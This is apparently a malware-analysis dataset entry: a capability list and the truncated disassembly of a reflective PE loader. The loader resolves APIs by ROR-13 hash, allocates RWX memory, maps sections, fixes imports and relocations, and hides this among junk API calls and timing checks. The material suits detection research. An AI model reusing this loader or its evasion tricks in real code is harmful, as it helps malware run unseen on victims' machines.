Function at 0x1800031bc
Capabilities:
Accept command line arguments
Access peb ldr_data
Allocate or change rwx memory
Allocate thread local storage
Check for time delay via gettickcount
Enumerate pe sections
Execute shellcode via indirect call
Identify system language via api
Parse pe header
Query environment variable
Resolve function by hash
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x190
movaps xmmword [r11 - 0x48], xmm6
movaps xmmword [r11 - 0x58], xmm7
movaps xmmword [r11 - 0x68], xmm8
movaps xmmword [r11 - 0x78], xmm9
movaps xmmword [r11 - 0x88], xmm10
movaps xmmword [r11 - 0x98], xmm11
movaps xmmword [r11 - 0xa8], xmm12
movaps xmmword [r11 - 0xb8], xmm13
movaps xmmword [r11 - 0xc8], xmm14
movaps xmmword [r11 - 0xd8], xmm15
mov r14, rcx
rdtscp
lea r8, [r11 + 0x10]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov r9d, 0x989680
cmp rax, r9
jbe 0x18000323f
mov edi, 0x6cd4e47
jmp 0x180003262
rdtscp
lea r8, [rsp + 0x1d8]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov rcx, rax
xor edx, edx
mov rax, r9
div rcx
mov rdi, rax
rdtscp
lea r8, [rsp + 0x1d8]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov ecx, eax
imul r8, rcx, 0x4f7f
movabs rax, 0x58ed2308158ed231
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 6
imul rax, rax, 0x5f
sub r8, rax
lea eax, [r8 + 3]
mov dword [rsp + 0x1e8], eax
mov dword [rsp + 0xb8], eax
mov dword [rsp + 0x88], eax
mov bl, dil
mov byte [rsp + 0x1d8], bl
xor r12d, r12d
mov eax, r12d
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x30], r12
mov esi, r12d
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x48], rax
mov qword [rsp + 0xd8], r12
xorps xmm8, xmm8
movsd qword [rsp + 0x78], xmm8
movsd xmm14, qword [0x18002fd08]
movsd qword [rsp + 0xb0], xmm14
movsd xmm13, qword [0x18002fc40]
movsd qword [rsp + 0xa0], xmm13
movsd xmm15, qword [0x18002fd20]
movsd qword [rsp + 0xe0], xmm15
movaps xmm0, xmm14
call fcn.180003074
movaps xmm6, xmm0
xorps xmm0, xmm0
call fcn.180003074
movaps xmm11, xmm0
addsd xmm11, xmm6
mulsd xmm11, xmm13
movsd xmm7, qword [0x18002fc70]
divsd xmm11, xmm7
movsd qword [rsp + 0x60], xmm11
mov r14, qword [r14]
mov qword [rsp + 0x58], r14
mov qword [rsp + 0xc0], r14
mov r8d, dword [rsp + 0x1e8]
lea r13d, [r12 + 1]
cmp edi, r8d
jle 0x18000340b
movaps xmm0, xmm14
call fcn.180003074
movaps xmm6, xmm0
movaps xmm0, xmm8
call fcn.180003074
movaps xmm11, xmm0
addsd xmm11, xmm6
mulsd xmm11, xmm13
divsd xmm11, xmm7
movsd qword [rsp + 0x60], xmm11
mov eax, 0x5a4d
cmp word [r14], ax
jne 0x1800033f1
movsxd rcx, dword [r14 + 0x3c]
lea rax, [rcx - 0x40]
cmp rax, 0x3bf
ja 0x1800033f1
cmp dword [rcx + r14], 0x4550
je 0x180003403
sub r14, r13
mov qword [rsp + 0x58], r14
mov qword [rsp + 0xc0], r14
jmp 0x18000339d
mov r8d, dword [rsp + 0x1e8]
mov rax, qword gs:[0x60]
mov qword [rsp + 0x68], rax
mov r14d, edi
cmp edi, r8d
jle 0x1800034db
lea eax, [rdi + rdi]
mov dword [rsp + 0x1e0], eax
cmp eax, r8d
jge 0x1800034c9
mov r15b, 0x42
mov esi, 0x57
jmp 0x18000346c
call qword [sym.imp.KERNEL32.dll_GetThreadLocale]
mov cl, sil
call fcn.180002c94
mov ebx, eax
movsx ecx, r15b
call fcn.180002f94
cvttss2si r15d, xmm0
lea ecx, [rbx + rbx]
movsxd rsi, ecx
add bl, sil
add bl, r15b
cmp bl, 0x6b
jle 0x180003442
mov esi, 0x2b
lea ebx, [rsi - 0x13]
call qword [sym.imp.USER32.dll_GetCapture]
mov eax, ebx
sub eax, esi
mov esi, eax
mov ecx, ebx
call fcn.180002f94
cvttss2si ebx, xmm0
mov al, sil
sub al, bl
cmp al, 0x5a
jl 0x180003479
movzx ebx, al
cmp al, 0x66
cmove ebx, r12d
mov byte [rsp + 0x1d8], bl
add r14d, r13d
mov r8d, dword [rsp + 0x1e8]
cmp r14d, r8d
mov eax, dword [rsp + 0x1e0]
jg 0x18000342f
mov rsi, r12
jmp 0x1800034db
mov rax, qword [rsp + 0x68]
mov rax, qword [rax + 0x18]
mov rsi, qword [rax + 0x20]
mov qword [rsp + 0x50], rsi
mov dword [rsp + 0xa8], 0x31
movss xmm9, dword [0x18002fd10]
test rsi, rsi
je 0x180003b53
lea eax, [rdi + 4]
cmp eax, r8d
cmovle edi, r8d
mov dword [rsp + 0x70], edi
mov rax, qword [rsi + 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x80], rax
movzx r14d, word [rsi + 0x48]
mov qword [rsp + 0x38], r14
mov word [rsp + 0x1e0], r14w
mov r15, r12
mov qword [rsp + 0x68], r12
lea rcx, [r14 + r13]
mov eax, 8
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.1800084c8
nop
mov r8d, dword [rsp + 0x1e8]
jmp 0x180003607
test r14w, r14w
je 0x1800037c1
mov eax, edi
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1e0], eax
mov esi, edi
cmp edi, r8d
jle 0x18000367b
lea r14d, [rdi + 4]
cmp r14d, r8d
jg 0x180003663
mov ecx, 0x21
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
call fcn.180003004
mov ecx, r12d
mov bl, al
mov byte [rsp + 0x1d8], al
cmp al, 0x1a
jle 0x180003634
add esi, r13d
mov r8d, dword [rsp + 0x1e8]
cmp esi, r8d
jg 0x18000362a
jmp 0x180003676
mov ecx, r15d
call fcn.1800046b4
mov r15d, eax
mov r8d, dword [rsp + 0x1e8]
mov r14, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
cmp byte [rcx], 0x61
jb 0x18000368e
movzx eax, byte [rcx]
add rax, 0xffffffffffffffe0
jmp 0x180003696
cmp edi, r8d
jle 0x18000369e
movzx eax, byte [rcx]
add r15, rax
jmp 0x180003736
movsd xmm6, qword [0x18002fcf0]
cmp bl, r13b
jl 0x1800036cf
movaps xmm0, xmm6
addsd xmm0, xmm6
movaps xmm6, xmm0
call fcn.180003004
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
addsd xmm0, xmm6
cvttsd2si eax, xmm0
cmp al, r13b
jge 0x1800036ab
mov al, 0x33
mov cl, al
call fcn.180002c94
cdqe
cmp al, 0x32
jne 0x1800036d1
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
movsd xmm4, qword [0x18002fcb8]
movss xmm3, dword [0x18002fd44]
xorps xmm0, xmm0
cvtss2sd xmm0, xmm3
mulsd xmm4, xmm0
movaps xmm1, xmm3
mulss xmm1, xmm3
movaps xmm3, xmm1
xorps xmm0, xmm0
cvtss2sd xmm0, xmm1
movaps xmm2, xmm4
subsd xmm2, xmm0
cvttsd2si eax, xmm2
mov bl, al
mov byte [rsp + 0x1d8], al
cmp al, r13b
jge 0x1800036f4
mov r8d, dword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x40]
cmp dword [rsp + 0x1e0], r8d
jl 0x18000374a
add rcx, r13
mov qword [rsp + 0x40], rcx
jmp 0x1800037ad
movss xmm1, dword [0x18002fd4c]
cmp bl, 0x10
jne 0x1800037ad
movaps xmm7, xmm9
movaps xmm0, xmm1
subss xmm0, xmm7
cvttss2si eax, xmm0
movd xmm7, eax
cvtdq2ps xmm7, xmm7
subss xmm1, xmm7
movaps xmm6, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
call fcn.180003004
xorps xmm1, xmm1
cvtsi2ss xmm1, rax
movaps xmm0, xmm7
divss xmm0, xmm6
divss xmm0, xmm1
cvttss2si eax, xmm0
mov bl, al
mov byte [rsp + 0x1d8], al
cmp al, 0x10
je 0x18000375b
mov r8d, dword [rsp + 0x1e8]
mov eax, 0xffff
add r14w, ax
mov qword [rsp + 0x38], r14
jne 0x18000361f
cmp r15d, 0x6a4abc5b
jne 0x180003b2c
mov r15, qword [rsp + 0x50]
mov r15, qword [r15 + 0x20]
movsxd rax, dword [r15 + 0x3c]
mov r11d, dword [rax + r15 + 0x88]
add r11, r15
mov qword [rsp + 0x68], r11
mov byte [rsp + 0x1d8], bl
mov eax, 3
movzx r14d, ax
mov word [rsp + 0x1e0], ax
mov r9d, dword [r11 + 0x20]
add r9, r15
mov r10d, dword [r11 + 0x24]
add r10, r15
mov qword [rsp + 0x40], r10
mov qword [rsp + 0x80], r9
test r14w, r14w
je 0x180003b2c
mov ecx, dword [r9]
add rcx, r15
mov esi, r12d
mov al, byte [rcx]
ror esi, 0xd
movsx eax, al
add esi, eax
add rcx, r13
mov al, byte [rcx]
test al, al
jne 0x180003833
cmp esi, 0xec0e4e8e
je 0x180003867
cmp esi, 0x7c0dfcaa
je 0x180003867
mov byte [rsp + 0x1d8], bl
cmp esi, 0x91afca54
jne 0x180003b16
lea eax, [rdi + rdi]
cmp eax, r8d
jl 0x180003892
mov eax, dword [r11 + 0x1c]
movzx ecx, word [r10]
add rax, r15
lea rcx, [rax + rcx*4]
mov qword [rsp + 0xc8], rcx
mov byte [rsp + 0x1d8], bl
jmp 0x1800039ce
cmp bl, 0x4a
jg 0x1800038b9
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov ecx, 0xd
call fcn.180002c34
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
addss xmm0, dword [0x18002fd90]
jmp 0x1800038d3
mov ecx, 0xd
call fcn.180002c34
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
mulss xmm0, dword [0x18002fc10]
cvttss2si eax, xmm0
movsd xmm6, qword [0x18002fc88]
movss xmm7, dword [0x18002fd74]
mov rbx, qword [rsp + 0xa8]
jmp 0x180003917
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
cvtps2pd xmm2, xmm7
mulsd xmm6, xmm2
movaps xmm1, xmm6
divsd xmm1, xmm2
cvtpd2ps xmm7, xmm1
cvtps2pd xmm0, xmm7
movaps xmm2, xmm6
divsd xmm2, xmm0
cvttsd2si eax, xmm2
cmp al, bl
je 0x1800038f1
movss xmm7, dword [0x18002fd78]
cmp al, 0x1e
jge 0x18000396c
movss xmm8, dword [0x18002fd5c]
call qword [sym.imp.USER32.dll_SetProcessDPIAware]
movaps xmm6, xmm7
subss xmm6, xmm8
movaps xmm0, xmm7
mulss xmm0, xmm7
movaps xmm7, xmm0
cvttss2si rcx, xmm6
call fcn.180002c34
movd xmm8, eax
cvtdq2ps xmm8, xmm8
divss xmm6, xmm7
addss xmm6, xmm8
cvttss2si eax, xmm6
cmp al, 0x1e
jl 0x180003930
mov ecx, 0x13
call fcn.180002f94
mov cl, 0x13
call fcn.180002c94
mov r14b, 0x7f
mov al, 0x61
mov cl, al
call fcn.180002c94
movsx r8d, al
add al, r14b
movsx r14d, al
imul r14d, r8d
movsx ecx, r14b
movsx edx, al
imul edx, ecx
sub r8b, dl
mov bl, r8b
mov byte [rsp + 0x1d8], bl
cmp r8b, 0x1a
jl 0x180003982
mov r8d, dword [rsp + 0x1e8]
movzx r14d, word [rsp + 0x1e0]
mov rcx, qword [rsp + 0xc8]
cmp esi, 0xec0e4e8e
jne 0x1800039f7
lea eax, [rdi + 4]
cmp eax, r8d
cmovle edi, r8d
mov eax, dword [rcx]
add rax, r15
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x90], rax
jmp 0x180003aea
cmp esi, 0x7c0dfcaa
jne 0x180003aca
lea eax, [rdi + 4]
cmp eax, r8d
jle 0x180003a22
mov eax, dword [rcx]
add rax, r15
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x98], rax
jmp 0x180003aea
movsd xmm6, qword [0x18002fca8]
call qword [sym.imp.USER32.dll_AnyPopup]
movaps xmm0, xmm6
addsd xmm0, xmm6
movaps xmm6, xmm0
cvttsd2si eax, xmm0
cmp al, 0x59
je 0x180003a2a
movaps xmm7, xmm9
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
movaps xmm0, xmm7
mulss xmm0, xmm7
xorps xmm6, xmm6
cvtss2sd xmm6, xmm0
cvttss2si ecx, xmm7
call fcn.180002f94
movaps xmm7, xmm0
xorps xmm0, xmm0
cvtss2sd xmm0, xmm7
divsd xmm6, xmm0
cvttsd2si eax, xmm6
cmp al, 0x62
jle 0x180003a46
mov rdx, r13
movsd xmm2, qword [0x18002fc98]
mov cl, 0x3c
movsx rax, cl
sub rax, rdx
mov rdx, rax
movaps xmm0, xmm2
mulsd xmm0, xmm2
movaps xmm2, xmm0
add cl, al
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
divsd xmm1, xmm0
movsx eax, cl
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
mov bl, al
mov byte [rsp + 0x1d8], al
cmp al, 0x65
jle 0x180003a86
jmp 0x180003aea
cmp esi, 0x91afca54
jne 0x180003aea
mov eax, edi
cdq
sub eax, edx
sar eax, 1
cmp eax, r8d
cmovl edi, r8d
mov eax, dword [rcx]
add rax, r15
mov qword [rsp + 0x30], rax
mov eax, 0xffff
add r14w, ax
mov word [rsp + 0x1e0], r14w
mov r8d, dword [rsp + 0x1e8]
mov r9, qword [rsp + 0x80]
mov r10, qword [rsp + 0x40]
mov r11, qword [rsp + 0x68]
cmp edi, r8d
jle 0x18000381e
add r9, 4
add r10, 2
jmp 0x180003811
cmp qword [rsp + 0x20], r12
je 0x180003b41
cmp qword [rsp + 0x28], r12
je 0x180003b41
cmp qword [rsp + 0x30], r12
jne 0x180003b53
mov rsi, qword [rsp + 0x50]
mov rsi, qword [rsi]
mov qword [rsp + 0x50], rsi
jmp 0x1800034ef
mov esi, r13d
mov r14d, edi
movsd xmm9, qword [0x18002fc58]
movaps xmm0, xmm9
movsd xmm12, qword [0x18002fc50]
movsd xmm10, qword [0x18002fc38]
movsd xmm8, qword [rsp + 0x78]
subsd xmm0, xmm12
mulsd xmm0, xmm13
addsd xmm0, xmm8
call fcn.180003074
mulsd xmm0, xmm10
addsd xmm11, xmm0
add esi, r13d
movd xmm0, esi
cvtdq2pd xmm0, xmm0
comisd xmm15, xmm0
jae 0x180003b7f
mov eax, r14d
cdq
sub eax, edx
sar eax, 1
mov r14d, eax
mov dword [rsp + 0x1e0], eax
mov rsi, qword [rsp + 0x58]
movsxd rax, dword [rsi + 0x3c]
add rax, rsi
mov qword [rsp + 0x40], rax
mov ecx, dword [rax + 0x54]
mov qword [rsp + 0x60], rcx
mov edx, dword [rax + 0x50]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x38], rax
mov r15, rsi
mov qword [rsp + 0x80], rsi
mov rsi, rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0xb0], rax
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x180003cb4
movaps xmm6, xmm11
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x20], rax
mov r14d, edi
mov eax, dword [rsp + 0x1e0]
mov dword [rsp + 0x1e0], eax
sub rcx, r13
mov qword [rsp + 0x60], rcx
movsd xmm0, qword [0x18002fc30]
call fcn.180003074
movaps xmm11, xmm0
mulsd xmm11, xmm10
addsd xmm11, xmm6
mov al, byte [r15]
mov byte [rsi], al
inc rsi
inc r15
movaps xmm6, xmm11
mov rcx, qword [rsp + 0x60]
test rcx, rcx
jne 0x180003c21
mov qword [rsp + 0x30], rsi
lea rax, [rcx - 1]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x80], r15
mov qword [rsp + 0xb0], rsi
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x28]
jmp 0x180003ce3
sub rcx, r13
mov qword [rsp + 0x50], rcx
mov dword [rsp + 0x1e0], r14d
mov r14d, edi
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x28], rax
movsd xmm6, qword [0x18002fd18]
movaps xmm8, xmm6
mov edi, r13d
mov qword [rsp + 0x98], rax
movsd qword [rsp + 0x68], xmm6
movaps xmm0, xmm9
movsd xmm13, qword [0x18002fc28]
movsd xmm7, qword [rsp + 0x78]
movsd xmm12, qword [rsp + 0xa0]
mulsd xmm0, xmm12
addsd xmm0, xmm7
call fcn.180003074
mulsd xmm0, xmm13
addsd xmm11, xmm0
add edi, r13d
movd xmm0, edi
cvtdq2pd xmm0, xmm0
comisd xmm6, xmm0
jae 0x180003d1d
movsd qword [rsp + 0x60], xmm11
mov eax, dword [rsp + 0x1e8]
cmp dword [rsp + 0x1e0], eax
cmovl r14d, eax
mov dword [rsp + 0x1e0], r14d
mov dword [rsp + 0x70], r14d
movaps xmm0, xmm7
call fcn.180003074
movaps xmm7, xmm0
movsd xmm12, qword [0x18002fc50]
movaps xmm0, xmm14
call fcn.180003074
movaps xmm6, xmm0
addsd xmm6, xmm7
movsd xmm14, qword [rsp + 0xa0]
mulsd xmm6, xmm14
movsd xmm11, qword [0x18002fc80]
divsd xmm6, xmm11
movsd qword [rsp + 0x60], xmm6
mov rdx, qword [rsp + 0x40]
movzx eax, word [rdx + 0x14]
lea rdi, [rdx + 0x18]
add rdi, rax
mov qword [rsp + 0x50], rdi
movzx ecx, word [rdx + 6]
mov qword [rsp + 0xd8], rcx
mov r10, qword [rsp + 0x28]
mov r11, qword [rsp + 0x20]
jmp 0x180003eb4
movsd xmm7, qword [rsp + 0x78]
test rcx, rcx
je 0x180003f1e
mov r8, qword [rsp + 0x38]
mov r14, qword [rsp + 0x58]
sub rcx, r13
mov r15d, dword [rdi + 0xc]
add r15, r8
mov esi, dword [rdi + 0x14]
add rsi, r14
mov qword [rsp + 0x30], rsi
mov edx, dword [rdi + 0x10]
test rdx, rdx
je 0x180003efb
mov al, byte [rsi]
mov byte [r15], al
add r15, r13
add rsi, r13
sub rdx, r13
jne 0x180003ee6
mov qword [rsp + 0x30], rsi
dec rdx
mov qword [rsp + 0x48], rdx
add rdi, 0x28
test rcx, rcx
jne 0x180003ec9
mov qword [rsp + 0x20], r11
mov qword [rsp + 0x28], r10
mov r14d, dword [rsp + 0x1e0]
mov dword [rsp + 0x1d8], r13d
movaps xmm0, xmm9
mov esi, r13d
subsd xmm0, xmm12
mulsd xmm0, xmm14
addsd xmm0, xmm7
call fcn.180003074
mulsd xmm0, xmm10
addsd xmm6, xmm0
add esi, r13d
movd xmm0, esi
cvtdq2pd xmm0, xmm0
comisd xmm15, xmm0
jae 0x180003f2d
mov ecx, dword [rsp + 0x1e8]
cmp r14d, ecx
mov rsi, qword [rsp + 0x30]
jl 0x180003f8d
mov r15, qword [rsp + 0x40]
add r15, 0x90
mov esi, dword [r15]
mov r8, qword [rsp + 0x38]
add rsi, r8
mov qword [rsp + 0x30], rsi
jmp 0x180004063
mov bl, 0x58
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
movsx rcx, bl
call fcn.180002c34
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
movaps xmm0, xmm1
mulsd xmm0, xmm1
cvttsd2si ebx, xmm0
movsx eax, bl
movd xmm0, eax
cvtdq2pd xmm0, xmm0
subsd xmm1, xmm0
cvttsd2si eax, xmm1
cmp al, 0x45
jle 0x180003fad
cmp al, 0x63
jg 0x18000400c
call qword [sym.imp.USER32.dll_GetFocus]
mov ecx, 0x45
call fcn.180002f94
cvttss2si ecx, xmm0
lea eax, [rcx + 0x45]
movsx ecx, cl
movsx ebx, al
imul ebx, ecx
jmp 0x18000401e
movsd xmm0, qword [0x18002fcd0]
call fcn.180003004
mov ebx, r13d
sub bl, al
movss xmm0, dword [0x18002fd38]
cmp bl, 0x2f
jl 0x180004057
movsd xmm7, qword [0x18002fc60]
cvttss2si ecx, xmm0
call fcn.180002f94
xorps xmm1, xmm1
cvtss2sd xmm1, xmm0
divsd xmm7, xmm1
cvttsd2si eax, xmm7
mov bl, al
cmp al, 0x2f
jge 0x180004033
movsd xmm7, qword [rsp + 0x78]
mov ecx, dword [rsp + 0x1e8]
mov r8, qword [rsp + 0x38]
cmp dword [rsi + 0xc], r12d
je 0x180004294
cmp dword [r15], r12d
je 0x180004294
cmp r14d, ecx
jle 0x1800040d0
mov eax, r14d
cdq
sub eax, edx
sar eax, 1
cmp eax, ecx
jl 0x1800041c6
mov ecx, dword [rsi + 0xc]
add rcx, r8
call qword [rsp + 0x20]
mov r10, rax
mov qword [rsp + 0x58], rax
mov r11d, dword [rsi]
mov r8, qword [rsp + 0x38]
add r11, r8
mov qword [rsp + 0x48], r11
mov edi, dword [rsi + 0x10]
add rdi, r8
mov r9, qword [rsp + 0x20]
mov qword [rsp + 0x20], r9
mov rdx, qword [rsp + 0x28]
mov qword [rsp + 0x28], rdx
mov ecx, dword [rsp + 0x1e8]
jmp 0x1800040da
mov r10, qword [rsp + 0x58]
mov r11, qword [rsp + 0x48]
cmp qword [rdi], r12
je 0x1800041b0
mov r13, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x28]
mov al, bl
test r11, r11
je 0x180004136
cmp qword [r11], r12
jge 0x180004136
cmp r14d, ecx
jle 0x180004130
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [rax + r10 + 0x88]
mov eax, dword [rcx + r10 + 0x10]
movzx edx, word [r11]
sub rdx, rax
mov ecx, dword [rcx + r10 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [rdi], rax
mov al, bl
mov ecx, dword [rsp + 0x1e8]
add rdi, 8
jmp 0x180004164
cmp r14d, ecx
jle 0x18000415b
mov r15, qword [rdi]
add r15, r13
lea rdx, [r15 + 2]
mov rcx, r10
call rsi
mov qword [rdi], rax
mov al, bl
mov ecx, dword [rsp + 0x1e8]
mov r11, qword [rsp + 0x48]
add rdi, 8
test r11, r11
je 0x180004168
add r11, 8
mov r9, qword [rsp + 0x20]
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x48], r11
mov bl, al
cmp qword [rdi], r12
mov r10, qword [rsp + 0x58]
jne 0x1800040ed
mov qword [rsp + 0x28], rsi
mov rsi, qword [rsp + 0x30]
mov r13d, 1
mov qword [rsp + 0x48], r11
mov qword [rsp + 0x20], r9
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x28], rax
mov r8, qword [rsp + 0x38]
lea eax, [r14 + r14]
cmp eax, dword [rsp + 0xb8]
jl 0x180004203
add rsi, 0x14
jmp 0x180003f83
movsd xmm6, qword [0x18002fce8]
mov ebx, 0xd
call qword [sym.imp.KERNEL32.dll_GetOEMCP]
mov ecx, ebx
call fcn.180002f94
movd xmm1, ebx
cvtdq2ps xmm1, xmm1
divss xmm1, xmm0
cvttss2si ebx, xmm1
cvttsd2si rcx, xmm6
call fcn.180002c34
xorps xmm6, xmm6
cvtsi2sd xmm6, rax
jmp 0x1800041d3
movss xmm0, dword [0x18002fd60]
cmp bl, 0x4c
jle 0x18000422a
cvttss2si rcx, xmm0
call fcn.180002c34
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
cvttss2si eax, xmm0
cmp al, 0x4c
jg 0x180004210
mov dword [rsp + 0x1d0], 0x42fe0000
movss xmm6, dword [0x18002fd40]
call qword [sym.imp.KERNEL32.dll_FlushProcessWriteBuffers]
movaps xmm0, xmm6
divss xmm0, xmm6
movaps xmm6, xmm0
cvttss2si ebx, xmm0
cmp bl, 0x78
jg 0x18000423d
mov r14b, 0x68
mov dil, 0x65
cmp bl, 0x42
jg 0x180004203
mov sil, 8
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov cl, r14b
call fcn.180002c94
movsx r14d, sil
movsx edi, dil
imul edi, r14d
movsx esi, dil
imul esi, r14d
sub al, sil
mov bl, al
cmp al, 0x42
jle 0x180004264
jmp 0x180004203
mov r15d, r13d
movaps xmm0, xmm9
mulsd xmm0, xmm14
addsd xmm0, xmm7
call fcn.180003074
mulsd xmm0, xmm13
addsd xmm6, xmm0
add r15d, r13d
movd xmm0, r15d
cvtdq2pd xmm0, xmm0
comisd xmm8, xmm0
jae 0x18000429b
lea eax, [r14 + r14]
mov ecx, dword [rsp + 0x1e8]
cmp eax, ecx
cmovl r14d, ecx
mov r15, qword [rsp + 0x38]
mov rax, r15
mov rdx, qword [rsp + 0x40]
sub rax, qword [rdx + 0x30]
mov qword [rsp + 0xc8], rax
cmp dword [rdx + 0xb4], r12d
je 0x180004566
cmp r14d, ecx
jl 0x180004311
mov esi, dword [rdx + 0xb0]
add rsi, r15
mov qword [rsp + 0x30], rsi
jmp 0x18000438b
movss xmm7, dword [0x18002fd64]
call qword [sym.imp.KERNEL32.dll_FlushProcessWriteBuffers]
movaps xmm0, xmm7
addss xmm0, xmm7
movaps xmm7, xmm0
cvttss2si eax, xmm0
cmp al, 0x58
jg 0x180004319
mov rbx, qword [rsp + 0xa8]
call qword [sym.imp.USER32.dll_CloseClipboard]
movsxd rcx, ebx
call fcn.180002c34
mov rbx, rax
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
call fcn.180003004
xorps xmm2, xmm2
cvtsi2ss xmm2, rax
movd xmm1, ebx
cvtdq2ps xmm1, xmm1
addss xmm2, xmm1
cvttss2si ecx, xmm2
cmp cl, 0x62
jne 0x180004339
movaps xmm0, xmm11
call fcn.180003004
mov bl, al
movsd xmm7, qword [rsp + 0x78]
mov ecx, dword [rsp + 0x1e8]
mov eax, dword [rsi + 4]
test eax, eax
je 0x180004566
cmp r14d, ecx
jl 0x1800044ff
mov edi, dword [rsi]
add rdi, r15
mov r15d, eax
sub r15, 8
shr r15, 1
lea rax, [rsi + 8]
mov qword [rsp + 0x1e0], rax
je 0x1800044ea
mov rsi, qword [rsp + 0xc8]
sub r15, r13
mov dword [rsp + 0x1d8], r14d
cmp r14d, ecx
jle 0x1800044dc
lea eax, [r14 + 4]
cmp eax, ecx
jg 0x18000445f
cmp bl, 0x63
jge 0x180004435
call qword [sym.imp.GDI32.dll_GdiFlush]
mov ecx, 0x13
call fcn.180002f94
cvttss2si r8, xmm0
movabs rax, 0x4e04e04e04e04e05
imul r8
sar rdx, 5
mov rax, rdx
shr rax, 0x3f
add rdx, rax
movsx rcx, dl
imul rax, r8, 0x69
cqo
idiv rcx
cmp al, 0x78
jne 0x180004435
call qword [sym.imp.USER32.dll_GetShellWindow]
mov bl, r12b
jmp 0x18000443d
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov bl, 0xa9
mov eax, dword [rsp + 0x1d8]
add eax, r13d
mov dword [rsp + 0x1d8], eax
mov ecx, dword [rsp + 0x1e8]
cmp eax, ecx
lea eax, [r14 + 4]
jg 0x1800043e0
jmp 0x1800044dc
mov rdx, qword [rsp + 0x1e0]
movzx ecx, word [rdx]
movzx eax, cx
shr ax, 0xc
cmp ax, 0xa
jne 0x180004483
and ecx, 0xfff
add qword [rcx + rdi], rsi
jmp 0x1800044c9
mov r8d, 3
cmp ax, r8w
jne 0x18000449a
and ecx, 0xfff
add dword [rcx + rdi], esi
jmp 0x1800044c9
cmp ax, r13w
jne 0x1800044b3
and ecx, 0xfff
mov rax, rsi
shr rax, 0x10
add word [rcx + rdi], ax
jmp 0x1800044c9
mov r8d, 2
cmp ax, r8w
jne 0x1800044c9
and ecx, 0xfff
add word [rcx + rdi], si
add rdx, 2
mov qword [rsp + 0x1e0], rdx
mov ecx, dword [rsp + 0x1e8]
test r15, r15
jne 0x1800043c8
mov rsi, qword [rsp + 0x30]
mov eax, dword [rsi + 4]
add rsi, rax
mov qword [rsp + 0x30], rsi
mov r15, qword [rsp + 0x38]
jmp 0x18000438b
cmp bl, 6
jg 0x18000450c
call qword [sym.imp.USER32.dll_IsProcessDPIAware]
jmp 0x180004512
call qword [sym.imp.KERNEL32.dll_GetTickCount]
call qword [sym.imp.USER32.dll_GetShellWindow]
mov ecx, 0x33
call fcn.180002c34
cmp al, r13b
jge 0x18000452f
call qword [sym.imp.USER32.dll_GetCapture]
jmp 0x180004535
mov bl, al
cmp al, 0x27
jg 0x180004557
movss xmm6, dword [0x18002fd68]
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
movaps xmm0, xmm6
addss xmm0, xmm6
movaps xmm6, xmm0
cvttss2si eax, xmm0
mov bl, al
cmp al, 0x27
jle 0x18000453d
cmp bl, 0x57
jbe 0x1800044ff
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov bl, 0x44
jmp 0x1800044ff
mov ebx, r13d
mulsd xmm9, xmm14
addsd xmm9, xmm7
movaps xmm0, xmm9
call fcn.180003074
mulsd xmm0, xmm13
addsd xmm6, xmm0
add ebx, r13d
movd xmm9, ebx
cvtdq2pd xmm9, xmm9
comisd xmm8, xmm9
jae 0x180004569
cmp r14d, dword [rsp + 0x1e8]
jle 0x1800045ae
